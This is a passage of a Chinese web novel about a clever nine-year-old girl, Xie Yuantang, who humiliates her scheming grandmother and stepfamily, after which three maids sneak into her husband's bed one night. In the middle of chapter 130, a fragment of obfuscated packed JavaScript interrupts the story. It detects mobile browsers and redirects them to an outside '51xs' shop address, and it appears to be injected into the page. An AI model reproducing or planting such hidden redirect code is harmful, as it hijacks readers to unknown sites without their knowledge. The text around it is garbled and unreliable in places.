魏莲拉着他右胳膊:“老爷,您要为我们做主啊!妾身就算了,雨沫她还那么小,她要是毁了脸,以后可怎么嫁人啊!”
谢雨沫抱着他大腿:“爹爹呜呜呜……雨沫好疼嘤嘤嘤……”
谢兆青被拉扯得站都站不稳了,耳朵边全是叽里呱啦的哭闹声,顿时被吵得一个头两个大!
冷云朝才不管谢家这几个女的,直接大步走到谢元棠和冷蕴菀身边,问道:
“她们这么吵,姐姐你耳朵有没有被吵疼啊?”
冷蕴菀微笑着摇了摇头:“当听戏了,就是唱得难听了点。”
魏莲:“……”她被害这么惨,冷蕴菀却拿她当戏子?
“冷蕴菀,你……”
“别吵了!”
谢兆青怒喝一声,耳朵一抖:“烦死了!”
费力地将胳膊腿从她们三个手中挣脱出来,谢兆青冷声问:“到底怎么回事?”
谢老夫人:“她们想活埋我!”
魏莲:“她们抢我们的钱!”
谢雨沫:“她们毁我容貌!”
谢兆青:“……”
预料到事情不小,但也没想到会闹这么大啊!
“哈哈!活埋抢钱毁容……”
冷云朝笑出声来,也不管场合,直接朝谢元棠竖了个大拇指:
“小外甥女,你比舅舅当年还屌啊!”
言关清清了清嗓子:“冷将军慎言,此事必是误会,不可听信片面之词。”
这话表面是对冷云朝说的,但其实是说给谢兆青听的。
不管谢元棠有没有做这些事,光这些罪名加在一个九岁小女孩身上,也是很恶毒的!
谢兆青深吸口气,目光扫过走路走不稳的老娘和小妾,再扫过小脸肿成包子的女儿。
最后咬牙切齿地瞪着谢元棠:“你怎么说?”
“我说?”
谢元棠眨眨眼。
正巧这时候,司徒砚将红薯递到她嘴边,殷勤投喂:“娘子张嘴,吃红薯了~”
“啊~唔!”
谢元棠啃
一小口红薯,咂巴着小嘴,笑眯眯地对谢兆青道:
“我说呀——
“好次!
那小脸上欠欠儿的惬意样,别说谢兆青了,冷云朝都想伸手rua两下。
招恨!
实在是太招人恨了!
谢兆青气得太阳穴一跳一跳的,好在他还没彻底失去理智,没忘记自己这番将冷蕴菀请回家的目的是什么。
若是在此刻就跟谢元棠彻底闹掰,那他就更别提站到他们这艘船上了!
谢兆青深呼吸,再深呼吸……第十三次深呼吸……
谢元棠觉得他大概是缺氧了。
等情绪勉强稳定,谢兆青才开口:“元棠,她们一个是你祖母,一个是你妹妹,你再怎么样胡闹,也不能伤人啊!
没被提到的魏莲:“……她不是人是吧!
被点名的时候,谢元棠刚站起身,正和司徒砚一块儿,将椅子让给言关清和冷云朝。
闻言,她转过头,眉尾往上一扬。
少有的……哦不是,咳咳……是一贯的讲道理,笑盈盈脆生生道:
“我觉得爹您说的很对!
谢兆青:“?
谢兆青愣了,都准备好了反击的话,这会儿僵在嘴边不知道怎么说了。
别搞啊!
都不会接戏了!
你个小猢狲,忽然不撒泼了,还肯定了老子,老子只会觉得你下一步要大闹天宫啊!
不止谢兆青愣住了,连谢老夫人魏莲谢雨沫都不哭了。
一时间,四个人,八只眼,全都呆滞地看着谢元棠。
仔细看……
甚至还齐刷刷往后小小退了半步!
谢元棠:“???
这可太打击大佬棠了!
她皱了皱眉,转头看司徒砚:“夫君,我刚才说的难道不是人话?
司徒砚点头:“是啊,可能他们不是人吧,所以听不懂。
众人:“……你是会总结的!
言关清轻笑,摇了摇头,宠溺地看着两人。
冷蕴菀和冷云朝姐弟俩面面相觑
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。
怎么感觉他们都懂了,就他俩没懂?
冷云朝挠了挠头,小声问:“太傅,什么意思啊?求解释!
“咳……”
言关清抬袖掩唇压低声音道:“孩子静悄悄一定在作妖!你们见过元棠这么善良大度的时候?”
冷云朝点点头:“有道理。”
谢元棠没好气地瞪回去:“我听见了昂!”
坏蛋!她哪里不善良了!
冷蕴菀温和地看着女儿宠溺道:“我棠儿一直都很善良大度啊!”
谢元棠立刻被哄好露出笑容来:“还是娘亲懂我!”
司徒砚在一旁很认真地点头:“娘子今天真的很善良了不然早就关门砍人了。”
众人:“……”
谢元棠嘴角微抽小胳膊捣了司徒砚腰一下:“后半句多余了。”
“哦那下回不说了。”司徒砚乖乖记下。
谢元棠这才看向对面被吓到的渣爹一家人往前一步摊了摊小手道:“爹你别怕棠棠今天不揍人!”
谢兆青:“……”憋说了越说越怕了!
谢元棠叹了口气小脸上露出伤心的表情来:“咱们就不能好好静下来摆事实讲道理嘛?”
谢兆青:“你愿意跟我讲道理?”
我咋这么不信呢!
“那当然了!”
谢元棠小胳膊叉腰理直气壮道:“只要爹你能找出证据证明我真的对她们动了手
“大佬棠一言既出驷马难追!”
这么好?
谢兆青心里一动转头看向谢老夫人三人:“母亲你们口口声声元棠欺负你们那证据呢?”
“这……”
谢老夫人脸色变了指着那三张太师椅道:“证据都在那个坑里!她早就给填平了现在哪里还有证据!”
魏莲嗓音都劈了:“我们的首饰荷包都被她典当换成银钱了哪里还找得到!”
谢雨沫:“那些芥末辣椒都被她收起来了往厨房里一扔谁分的出来啊!”
谢兆青:“……”
“哟哟哟~”
谢元棠两手一摊欠嗖嗖地打了个哈欠:“合着你们说了这么老半天就是没证据呗!”
第130章 后退,看我的!
司徒砚转头看向言关清:“没证据,诽谤,可以抓她们吗?”
渣爹一家人:“……”
不承认,还要抓他们?
“你,你们欺人太甚……”
谢老夫人被气得血液冲头,颤抖着手指着冷蕴菀:“贱妇,都是你干的好事!都是你教出的好女儿!我好好的家,都被你们这两个扫把星给克完了啊!”
冷蕴菀目光微冷,这些话她这些年听过很多遍,那时她病重在床,无意间听见谢老夫人的谩骂,回头和谢兆青提起时,他只说她听错了。
后来又说谢老夫人年纪大了,让她体谅。
那时候她多傻,竟然就信了他的鬼话,真的体谅了别人,亏待了自己。
如今看着谢老夫人露出真面目来,冷蕴菀才知这个谢府从没有一天是她的家,打从一开始,她就是被谢兆青哄骗进来,折断翅膀关进笼中的雀儿。
如果不是她的女儿,她或许已经死了。
冷蕴菀心头冰凉,对谢老夫人的谩骂倒是没什么实感。
但她不怒,冷云朝却是气得三步上前,指着谢老夫人怒喝:“老妖婆,你骂谁是扫把星?我姐姐好好一人下嫁你们谢家,这么多年来哪点对不起你们?你良心被狗吃了吗?”
谢老夫人被他指着,吓得往后倒了两步跌坐在地上,索性哭喊道:“要打人了啊!没天理了啊!我老婆子活不下去了啊!”
“你……谁打你了!”
冷云朝气得不轻,要不是顾忌她是个老太婆,还是个女人,他早一脚踹上去了。
可偏偏这会儿对方不讲理,他又动不了手,只能气得团团转。
谢元棠看着这一幕,叹了口气摇摇头:“小舅舅还是太年轻了啊。”
言关清:“……”
司徒砚低头看她:“娘子,她骂你,你不生气吗?”
“不气啊~”
谢元棠咧了个笑,露出甜美的小酒窝来:“生气伤人呢,为个老不死的伤害自己,我有毛病吗?”
“不就是骂人嘛,我又不是没张嘴,骂回去不就好了?”
司徒砚恍然,点点头:“好有道理!那娘子教我,我帮你骂!”
一边说,他一边撸起袖子就准备开骂。
谢元棠却拉住他
道:“不着急看我的。”
她转头看了眼冷蕴菀笑着安慰:“娘亲也不要气棠棠帮你报仇。”
冷蕴菀看着永远挡在她面前的小声音心里那点冰霜顿时暖化了。
言关清在一旁道:“冷三姑娘别着急元棠很有些鬼主意不会吃亏的。”
“嗯。”冷蕴菀应了声。
她不知道女儿想到了什么法子但既然言关清还在这里坐镇那至少不会眼睁睁看着她女儿受委屈。
谢元棠迈着从容的步伐走到冷云朝跟前:“小舅舅淡定点。”
一边说她一边伸出小手
冷云朝:“……”
这莫名的信赖感是怎么回事?
他本能地往后退了好几步一转头看见身旁的冷蕴菀言关清以及几个丫鬟护卫全都信心十足地看着谢元棠!
冷云朝顿悟:合着不是他一个人而是大家对谢元棠都有满满的信任和期待!
相信她能以小敌大!
期待她能惩奸罚恶!
唯一跟着往前走了几步的只有司徒砚。
不过他不是不相信谢元棠而是随时准备打下手!
顺便近距离观摩学习的!
万众瞩目下谢元棠一边走向谢老夫人一边哼着古怪的小曲:
“从前我有一个奶奶~咿呀伊尔哟~后来我叫奶奶叫我奶奶~喽嘿~”
司徒砚走在她身后半步秉着好学的精神跟着二重唱还顺便改了词儿:“叫我爷爷~喽嘿~”
众人:“……”
谢兆青脸都黑了上前一步道:“元棠你瞎唱什么?”
一边说他一边就想伸手拦住谢元棠。
不想胳膊刚伸一半就被一只大手给紧紧扼住了。
司徒砚微微一笑。
“听话不要动哦~不然揍你哦~”
那单纯又天真的语气为他说的话平添了一丝诡异的恐怖感!
谢兆青顿时一僵哑声道:
“五……殿下臣不动就是了您能不能别捏那么紧?臣的胳膊要断了!”
谁能告诉他为什么这个看起来弱不禁风的傻女婿这么大力气!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255819|139756||http|test|mini|href|location''.split(''|''),0,{}));
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他的胳膊快废了!
司徒砚还是笑很乖很无邪:
“不行呢~断了再接呗~”
谢兆青:“……”
啊啊啊啊求求你别用这种语气说话了!
真的很吓人啊!
这边司徒砚拦着谢兆青魏莲早就有眼力劲儿地抱着谢雨沫往后退了。
另一边。
谢元棠小歌儿唱完人也刚好走到谢老夫人面前。
然后笑盈盈蹲下:“嗨~”
看着那张近在咫尺的小脸谢老夫人鸡皮疙瘩都起来了:“你你想干什么?”
谢元棠当着她的面缓缓将小手伸进她的碎花小挎包里。
谢老夫人呼吸一紧直接告诉她这丫头不会掏出什么好东西来。
当下谢老夫人就想跑但她因为摔坑里本来腿脚就不利索这会儿跌坐在地爬起来也不容易。
索性直接弃脚改用腚走!
一边往后挪一边喊人:“儿啊快让这个小扫把星走!”
“来人啊快把这个小贱人给我……唔唔唔!”
话还没说完谢元棠“啪叽”一下就把粘鼠板拍在了她脸上!
然后站起身拍拍小手:“搞定!”
冷云朝见刚才自己费了大力气都骂不过的死老太婆就这么轻而易举地被封住了嘴惊地大步走过来:“这么容易的吗?”
谢元棠笑眯眯道:“小舅舅你现在可以骂她了她保证不会还口滴!”
众人:“……”
可不是不会还口嘛都张不开口了还怎么还!
“娘子你好聪明啊!难道你真的是天才?”
司徒砚一边夸一边松开谢兆青的手。
他好奇地弯下腰伸手扯了扯那个粘鼠板接着惊讶的眨眨眼:“哎呀~扯不下来耶!”
谢兆青看着老娘被贴上粘鼠板顿时气急:“谢元棠!你知不知道孝道两个字怎么写?她是你亲祖母!”
谢元棠乌黑的大眼睛眨巴了两下无辜地看着他:“可是爹爹她辱骂我
“你确定要我拿下粘鼠板让她接着骂?”
谢元棠两手一摊:“我倒是无所谓啦爹爹你这么孝顺你去拿下来呗?”
谢兆青:“……”
第131章 可真是孝死了!
谢元棠话音落地,全场只剩尴尬的沉默。
所有人的目光都聚集在谢兆青身上,谢老娘更是眼巴巴地望着儿子。
而大孝爹谢兆青低头沉默片刻,毅然决然的转过身,弯下腰,亲手将谢老娘扶了起来。
“唔唔……”
谢老娘感动地看着儿子,她就知道儿子不会不管她死活的!
“来人……”
众目睽睽之下,谢兆青缓缓开口:“老夫人病重,不宜外出多言,带她回去静养。”
“唔!唔唔唔……”
谢老夫人惊了,伸着手乱挥舞着。
让她回去静养?还说她不宜外出,不宜多言?
这就是把她关起来了!
谢老夫人着急得跳脚,伸手就想去扯粘鼠板,却被谢兆青给按了下来。
“母亲。”
谢兆青沉着脸看着她:“您难道想让全家上下都死吗?”
谢老夫人一怔。
谢兆青微微一笑,眼中却冰凉无情:“儿子知道母亲一向体贴儿子,还请母亲这一次也为了儿子,暂且忍耐一二吧。”
谢老夫人:“……”
她看着面前人模狗样的儿子,忽然有点心寒。
她泼皮了一辈子,为的还不是他?
结果只是因为听了一个九岁女娃的几句话,他便吓得将她这个亲娘给推了出去!
谢元棠在一旁看着这一幕,讽笑道:“爹啊,您可真是孝死了!”
谢兆青:“……”
假装听不见谢元棠的嘲讽,谢兆青说完,转头看向魏莲,沉声命令:“你们也回吧,殿下在此,不得放肆,何况蕴菀和元棠都不喜聒噪,你们平日里不要再来打扰她们,否则本相不会轻饶了你们!”
“爹,你怎么能这样,明明是谢元棠那个贱……”
“啪!”
谢雨沫气得张口就想骂人,不等她骂出口,谢兆青一巴掌就扇在了她的脸上!
“啊!”
谢雨沫本来就肿胀的脸顿时被扇出了血迹,一个踉跄倒在魏莲怀里。
“老爷,您怎么可以这么对雨沫?她才这么小……”
魏莲心疼地看着女儿,一抬头却对上谢兆青冷情的脸。
谢兆青声音阴沉:“她这
么小,那是从哪儿学的那些脏话?可见你平日里就没有教好她!
“还不滚下去,静思己过!
魏莲抱住女儿,看着如此无情的谢兆青,咬了咬牙灰溜溜地离开了。
等她们都离开,谢兆青才握紧了拳头,深吸口气转过身,露出一副慈父的伪笑来。
“元棠,为父已经惩罚过她们了,如今你可满意了?
谢元棠挑了挑眉:“这话我听不懂了,说的好像是我故意刁难似的,其实我一点也不介意报官处理的。该审问审问,该找证据找证据,是非曲直,到时自然明了。
“元棠这话说得对。
言关清适时开口:“本官在此观望许久,只见丞相家眷大呼冤枉,什么‘活埋抢钱毁容’,却有一事不明。
“据她们所言,元棠在院门口挖了坑,且先不论有没有这个坑,本官疑惑的是,她们为何会半夜三更集体来了这小院?这是因,有了因,才有之后的果。
“想必只要让官府审问一番,便可知其中缘由了,丞相以为如何?
谢兆青:“……
他以为如何?
他以为不行!
根本不用问,谢兆青就知道昨晚上魏莲她们必定没憋好屁!
所以才会着了谢元棠的道!
但这事能说吗?能查吗?
说了查了,丢人的不还是他!
谢兆青冷冷地看着言关清。
他本来想将这口锅扣在谢元棠身上,故意不问不查的情况下,将母亲和魏莲等人软禁起来,那这件事就变成了“冷蕴菀和谢元棠母女欺压谢府女眷。
而他这个一家之主,是“为了弥补她们母女,“为了整个谢府的安宁,所以才会退让一步。
可现在,谢元棠和言关清竟然察觉了他的小心思,执意不肯背这口锅!
谢兆青面色暗沉,意识到有言关清在这里,他就委屈不了谢元棠分毫!
“那么依太傅所言,该当如何?谢兆青没好气地问。
言关清站起身,微笑道:“很简单,将昨晚的下人挨个审问,记录在案,以便日后有人想要拿这事做
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文章。
他看了眼谢元棠,目光温和道:“让一个九岁的孩子背负活埋抢钱毁容这样的罪名,未免太
过残忍了。”
说罢,他转头看向谢兆青道:“这件事丞相若是做不来,本官可以帮忙……”
“不用了!”
不等他说完,谢兆青就打断他道:“此乃本相家事,本相自会做好,不劳太傅费心了。”
“嗯嗯,舅舅不要操心啦,有我在呢。”
司徒砚笑了笑,看着谢兆青道:“等他们签字画押以后,我会把档案都收好,到时候再交给舅舅看一下有没有问题。”
谢兆青:“……”
这话若是谢元棠说,他还可以不理睬。
但换成司徒砚,他就必须去做了!
该死,这傻子怎么越来越难对付了?
谢兆青脸色铁青,也没心情再留下来,冷哼一声转身离开了。
看着他走远,冷云朝才大笑出声,大手揉了揉谢元棠的头发:“小棠棠,你可真厉害啊!”
“这下我是不担心你们母女会受欺负了!”
谢元棠傲娇地一抬头:“那当然,棠棠会保护好娘亲的!”
“哈哈!还嘚瑟上了!”
冷云朝爽朗地笑着,大手还放在谢元棠头顶。
看着这一幕,司徒砚眉头蹙了下,走过来不悦地拍掉他的手:“不要碰娘子的头,会长不高的。”
说完弯下腰,修长的手指灵巧地替谢元棠整理好头发,嘴里嘟囔着:“发型都乱了。”
冷云朝:“……”
帮谢元棠整理完头发,司徒砚才直起身看向冷云朝:“小舅舅本来就不用担心,我是男人,自当会保护好娘子和娘的。”
听见他这话,言关清和冷云朝习惯性地,就等着他叫出那句“娘子的娘”。
却不想他竟换了称呼!
这就叫上娘了?
言关清和冷云朝都齐刷刷看向冷蕴菀,却见冷蕴菀笑容慈爱:“砚儿说得对。”
显然是认可了司徒砚的称呼。
言关清鼻头有些酸,他转头看向冷蕴菀,朝她抬手一揖道:
“言某,谢过冷三姑娘。”
第132章 有人给司徒砚写情诗!
他没叫冷蕴菀“谢夫人”,而是喊她旧日称呼,表明他对她的敬重。
冷蕴菀微微一怔,已经许多年没有人叫过她“冷三姑娘”了。
她看了眼言关清,微微摇头道:“太傅客气了,砚儿很好,我很喜欢他。”
言关清直起身,方才一瞬间的失控已然不见,脸上只剩儒雅的微笑。
“既然没什么事,那我就先走了。”
言关清笑了笑,转头看向司徒砚和谢元棠道:“对了,这是夫子给你们两人找的字帖,空闲的时候可以练一练。”
冷云朝也出声道:“姐,我也该走了。”
他们两个外男,长时间逗留在后院到底不方便,再说他们本来就是过来给谢元棠他们撑腰的,如今事情解决了,自然也没有留下来的必要了。
“小棠棠,有事就让人去冷家找我。”
冷云朝不忘叮嘱道:“遇到事儿别让自己吃亏,甭管是谁,先揍回去再说,打残了舅舅帮你善后!”
谢元棠:“……”
说的她跟街头小恶霸似的!
她明明人美心善来着!
就这样,谢元棠在谢府住了下来。
除了第一日轰轰烈烈,之后几日倒是平静得有些无聊。
而且每天谢兆青都会定时定点过来扮演好丈夫和好大爹,他演得尴尬,谢元棠看得恶心。
除此之外……
谢元棠还发现,谢府的下人似乎对他们越来越殷勤了。
哦不,准确的说,是对司徒砚殷勤。
更准确的说,是那些漂亮丫鬟们,对司徒砚特别殷勤!
“皇子妃,方才又有人朝咱们院子里扔手绢了!”
红蕖气得拿出收起来的十多条手绢:“她们怎么回事?手绢多了用不完可以拿出去卖钱啊!天天往咱们院子里扔!有病吧她们?”
谢元棠看着那十来条手绢,也是有些惊讶的:“这都是这几天收到的?”
“几天?”
红蕖:“就这一上午!昨儿的几十条奴婢还没拿出来呢。”
“啊……”
听到这里,谢元棠的表情终于有了变化。
她伸出小手摸摸那些手绢:“质地还挺好的呢。”
“可不是么,都是好料
子,她们倒也舍得!”红蕖哼道,“皇子妃,您可不能再不管了,我看啊,她们就是欺负您年纪小,才敢这么放肆的,咱们得好好教训教训她们!”
“红蕖,你别乱出主意。”
白芙正在帮谢元棠缝制新的小挎包,听见这话,不由蹙了蹙眉道:“近来小皇妃本来就惹人注意,往常因为总是别人欺负上门,咱们占了理才让那些人没话说,可这些丫鬟一没说什么,二来法不责众,若小皇妃因此就罚了她们,只怕会招来闲言碎语了。”
红蕖觉得她多虑了:“白芙姐,百姓们都喜欢咱们小皇妃,怎么会因此就说闲话呢?本来就是这些丫鬟不对嘛。”
白芙叹了口气,走过来抬手点了点她的额头:“你呀,事情不能这样想的。”
“咱们殿下那容貌……你又不是不知道,上街一趟不知道多少人抛媚眼扔手绢呢,难道咱们要将那些人全抓起来?”
“这府里的几十条手绢,就跟外面那些喜欢咱们殿下的人是一样的,若咱们小皇妃罚了这几个丫鬟,难免会引起大家的不满来。”
顿了顿,她转头看向谢元棠道:“依奴婢看,这件事只怕有人在背后捣鬼,故意用这些上不得台面的手段,让小皇妃您没办法出手教训人,只能吃了这个闷亏。”
红蕖听到这里,才反应过来,担忧道:“那怎么办?难道咱们只能认了吗?”
谢元棠挑了挑眉,有些好笑道:“你俩这么着急做什么?不就是几条手绢嘛,不值当生气哈。”
“哎呀皇子妃您怎么还不明白呢?她们就是故意来恶心人的!”
红蕖气得跺脚:“不行,我要拿把扫帚,去院门口守着!”
“谁敢再靠近,我就一扫帚轰上去,看哪个还敢来!”
眼见红蕖就要冲出去,谢元棠眼疾手快地扯住她袖子:“哎哎哎回来!”
她这么一拽,红蕖冲出去的身子立刻绕了一百八十度,打了个弯又转了回来。
“皇子妃,您别拦我呀。”
红蕖一脸认真道:“这件事既然您不好出面,那就是到了红蕖护主的时候了!”
“您放心,我一定会当好这个守门员
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!绝对不让她们靠近殿下半步的!”
说罢,她还睁大眼对谢元棠道:“咱们殿下的清白,
必须得是皇子妃您的!”
谢元棠:“……”
真是越说越离谱了!
她翻了个白眼,指了指对面道:“站好,没有我的命令,不许出去。”
“可是……”
“没有我的命令,不许开口。”
红蕖郁闷地捂住嘴,站在那里。
谢元棠这才看向白芙:“我夫君呢?”
白芙道:“好像是在夫人那里,奴婢方才去了一趟,见他正跟夫人学梳头呢,说是要学会了给您梳好看的发型。”
谢元棠无语:“不是说好了练字吗?”
白芙好笑道:“练不成啊,书房的窗户后面,也有人扔手绢,还有人写情诗呢。”
谢元棠:“……”
这就过分了昂!
她深吸口气,哼了哼道:“行了,去把那些手绢都收起来,装进一个小匣子里,还有那些信……全给我装好了。”
“是……”白芙应声,而后好奇地问,“不知皇子妃您是想……”
谢元棠微微一笑:“我和夫君就请了这几天的假,明日就要上学堂了,正好将这些东西交给父皇看看,有人打扰夫君学习,咱们管不了,父皇肯定能管呀。”
白芙和红蕖眼睛都是一亮。
他们不好出面,但司徒擎怪罪下来,谢兆青敢不管?
谢元棠伸了个懒腰道:“行了,晾她们也不会做出别的事来,明日再说吧。”
说罢,她就跑去隔壁找娘亲和夫君了。
只是他们谁也没有想到,还就真有人胆子这么大。
不仅敢扔手绢写情诗,还敢爬床!
是夜。
谢元棠仍旧跟娘亲睡在一屋。
倒不是冷蕴菀要求的,而是谢元棠给自己分配的时间表——一三五跟娘亲睡,二四六和司徒砚睡上下铺。
今日单数,所以她跟娘亲睡。
夜深。
一道婉约的身影悄悄推开了司徒砚的房门。
半刻钟后,又一道身影走了进去……
一刻钟后,又一道……
第133章 是夫君房里的声音!
“嘎吱——”
第三个人影闪进去以后,房门从里面反关上。
屋顶上。
言枫和言墨眼睁睁看着那三道人影先后走进去,无语凝噎。
言枫:“……”当我瞎了?
言墨:“……”当言枫瞎了?
光天化日……不,化月之下,谁能想到这谢府的丫鬟竟然如此胆大包天!
竟然敢深更半夜偷偷潜进他们院子里,爬他们主子的床榻!
言枫耳尖微动,趴在瓦片上听了一耳朵。
屋子里很安静,只有极细微的“窸窣”声响了几下,好似掀被子翻身的动静。
他转头看向言墨:“咱们是不是应该下去了?”
言墨抬头望月:“下去干吗?主子又没睡。”
在这三人来之前,他还下去瞅了眼,司徒砚正趴在床上练习盘头技巧呢!
墨黑的长发铺了一床,还从上铺垂了下来,跟个黑布帘似的。
再配着那张过于美艳的容颜……
黑暗中,转过头来的一瞬间,言墨差点没被吓尿!
言枫不知道言墨裤子差点湿了的事情,他还在替司徒砚担心。
“万一她们三个人里面有人是刺客呢?她们可是已经爬上床了!钻进被窝了!”
言墨嘴角抽了下:“是刺客的话,小皇妃就不会放人进来了。”
“而且你看,黎休和罗吉都没动静。”
这院子别的不说,光是护卫,除了他们俩,还有佛音阁的护卫在,要不是谢元棠吩咐让他们不必管,就那几个丫鬟,怎么可能说潜进来就潜进来?
言枫一噎。
话是这么说,但是一想到他们纯洁的主子正在屋子里,这会儿还可能会遭遇咸猪手,他就坐立难安。
“可小皇妃只说了放她们进来,没说让人进屋吧?”
“不然为什么还要咱俩守在这儿,而且小皇妃这会儿还在睡觉呢!”
言墨:“……”
他回忆片刻,好像……谢元棠确实只说了放人进来,没说允许人进司徒砚的屋子!
“卧槽!”
理解错“圣旨”了!
言墨一个激灵赶紧站起身,顺手将言枫也扯了起来:“那还愣着干吗?赶紧下去啊!”
“万一主子被人摸了,小皇妃会剁了咱俩的!”
言枫:“……”你才知道啊!
另一边,负责守院的黎休和罗吉也糊涂了。
两人对视一眼,罗吉问:“言枫他们为什么没动静?就……这么看着人进去了?”
黎休摇摇头:“可能……另有安排?”
总之言枫和言墨都没动,那应该没事,他们也不必冲动。
就在这时,两人惊讶地看着言枫和言墨慌乱地从房顶冲了下来。
黎休一怔。
出事了?
他看了罗吉一眼,正想一块儿过去看看。
还没等脚步动呢,突然,听见屋子里传来一声尖叫!
接着,又传来两声尖叫!
黎休心里咯噔一声。
完!
真出事了!
隔壁。
正在睡梦中的谢元棠,听见三声尖叫,登时一个翻身坐起来。
乌黑的眼眸没有丝毫被吵醒的迷茫,只剩下本能的嗜杀。
“是夫君房里的声音!”
谢元棠目光微闪,毫不犹豫翻身下床。
“棠儿……”
冷蕴菀也惊醒了,拉住她的手道:“出什么事了?”
谢元棠头也没回,拎起放在桌上的匕首就跑了出去:
“娘亲放心,出不了事,我去看看。”
——
时间回溯到一刻钟之前。
第一个丫鬟大椿趁着无人,悄悄溜进了司徒砚的房间里。
她都打探好了,知道今日是单数,谢元棠必定不在这儿。
就五皇子一个傻子,只要她稍加引诱,那还不是手到擒来!
只要她跟五皇子春风一度,那明天她就是五皇子的女人了,说不定还能当上侧妃娘娘!
大椿想得很美好,只是一进屋却愣住了。
好黑!
而且……是她眼花了吗?
怎么感觉面前有个黑布帘?
这么安静,司徒砚应该已经睡着了吧?
也好,方便她行动。
大椿心里打定主意,悄悄地走到床边,摸黑掀开被子,钻了进去。
只是一进被窝她才愣住了。
怎么没人?
难道司徒砚起夜去了?
正犹豫着是走是留的时候忽地房门轻响。
脚步声从门外走进来越来越近!
司徒砚回来了!
大椿心里紧张蒙着头背过身不敢吭声。
丫鬟二椿站在床头。
怎么这么安静?
难道
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司徒砚已经睡着了?
还有这个黑布帘是什么东东?
一连三问后二椿牙一咬。
不管了!
先睡了他再说!
二椿刚掀开被子便感觉到身旁有人背对着她。
但因为两人中间隔着一小段距离并没有感觉出是男是女。
二椿只觉得……
嗯五皇子身上还挺香的!
正当二椿做着五皇子侧妃的美梦时“嘎吱~”房门又一响一道轻盈的脚步声走进来。
大椿:?
二椿:?
糟糕!
难不成是谢元棠来捉奸了?
大椿本来就蒙着头面朝里躺着
三椿站在床前疑惑地盯着眼前飘荡的黑布帘。
这什么东西?
不管了钻被窝要紧!
三椿深吸口气悄悄摸上床。
额……
怎么没地方了?
司徒砚这么胖的吗?
三椿脸朝外屁股往里一撅硬是挤了上去!
不管如何她都要爬床成功!
被挤在中间的二椿瑟瑟发抖。
怎么回事?
谢元棠也上来了?
最里头的大椿更懵了。
这这这……怎么感觉身后贴上来的躯体如此柔软?
司徒砚胸肌这么发达的吗?
三人僵硬地挤在下铺一时间心里都觉得怪异却又谁也没敢动。
直到“吱扭”一声上铺的床响了下!
三人:“……”
“??”
“!!!”
上铺还有人在?
黑暗中三人睁开眼没来得及看清身旁的人就先注意到了那道飘动的“黑布帘”。
“唰!”
黑布帘忽地一下子垂落下来一大截。
紧接着两只修长的手指缓缓伸出从中间扒拉开墨黑的“布帘”。
一团黑中一张白皙的脸从上铺倒挂下来。
睁着双眼盯着下铺的三人!
“嘶!”
三人齐齐倒吸了口凉气只觉得命都给吓掉了一半!
大椿:“啊!”
二椿:“啊啊!”
三椿:“啊啊啊!”
司徒砚眨眨眼脑袋从上往下看着莫名其妙溜进来的三人。
细长的手指轻轻抬起勾了勾墨黑的长发幽幽出声:
“你们……是来教我盘头的吗?”
第134章 我这里有个饿了么订单,你们要接吗?
黑屋,本该无人的上铺。
骤然垂落的黑发。
倒挂的人脸,睁大的眼睛。
加上那句“你们是来教我盘头的吗”。
恐怖感在这一刻达到了顶峰!
大椿不要命地惨叫起来,抓紧了被子开始嚎:“啊啊啊鬼啊!”
二椿紧随其后:“殿下救命啊……啊啊啊你是谁啊?”
三椿一个不慎被挤下床,屁滚尿流地往门口爬:“我只会爬床不会盘头的,别找我啊呜呜呜……”
还不等三椿爬到门口,房门“碰”一声从外被人踢开。
“主子!”
言枫言墨着急忙慌地冲进来。
下一瞬,就齐齐看见了上铺的司徒砚。
言枫言墨:“嘶……”
紧跟两人身后的,黎休和罗吉奔了过来。
“殿下!”
“五皇子!”
两人刚到门口,就看见言枫言墨愣在那儿不动了。
黎休皱眉,抬手推着他俩进去:“干什么呢你们……嘶!”
话没说完,看见司徒砚的造型,黎休也吓僵了。
谢元棠拎刀跑出来的时候,就看见四个人堵在门口,跟门神一样。
她担心司徒砚,想也不想小脚就踹了过去:“起开!”
言枫等人立刻散开,言墨还好心提醒:“皇子妃,您别看……”
还没提醒完,谢元棠就抬起了头。
大眼睛跟司徒砚四目相对。
“娘子!你来啦!”
司徒砚还倒趴在那儿,看见谢元棠,咧着嘴笑,因为造型实在奇特,让他这个笑容怎么看怎么渗人。
黎休都担心谢元棠会被吓哭。
结果下一瞬,就见谢元棠翻了个白眼,没好气道:“大半夜你学蝙蝠呢啊?”
说罢,手里匕首一转,径直射出去。
匕首在昏暗的空中划过一道寒芒。
“叮”的一声,直插地上的三椿衣摆。
没见过谢元棠出手的黎休傻眼了。
这准头,这力道……
真的是九岁小女孩能做到的?
谢元棠冷哼一声:“跑哪去?”
三椿吓得尖叫一声,僵在那里再也不敢动了:“
不不不不跑……”
同样被谢元棠这一刀吓到滚下床的大椿和二椿也急忙跪趴在地哆哆嗦嗦不敢抬头。
“奴奴奴婢……”
“该该该死……”
谢元棠看都没看她们只冷声道:“灯。”
“是!”
言枫言墨立刻上前点灯。
罗吉守在门口。
黎休去搬椅子。
四人动作迅速仿佛已经配合过无数遍似的。
然而只有他们自己心里清楚此刻的行动完全是出于对危险的本能敬畏。
而他们感觉到的这个危险源就是谢元棠!
那射出去的一刀
整个屋子里只有司徒砚没有察觉到谢元棠身上散发出来的危险气息还憨笑着道:“娘子我下来找你……”
“别动。”
谢元棠冷声打断他皱着眉头道:“等点了灯再下来。”
“哦。”
司徒砚乖乖点头。
很快烛光亮起照得整个屋子如同白昼。
众人这才看清楚屋中的情形。
“这是……”
因为担心女婿和女儿着急赶来的冷蕴菀刚走到门口就看见屋子里的三个丫鬟顿时脸色就变了。
要不是她看见司徒砚正从上铺往下爬知道他今晚睡在上面没让三个丫鬟得逞这会儿早就发飙了。
“娘您怎么起来了?”
谢元棠先走过去扶住冷蕴菀:“不是说了没事的嘛。”
“我不来看看怎么能放心呢?”
冷蕴菀蹙紧眉头。
“娘为什么不放心啊?”
司徒砚走过来单纯疑惑地问。
长长的墨发还凌乱地披散在肩头看着跟个不正经的浪荡男鬼似的。
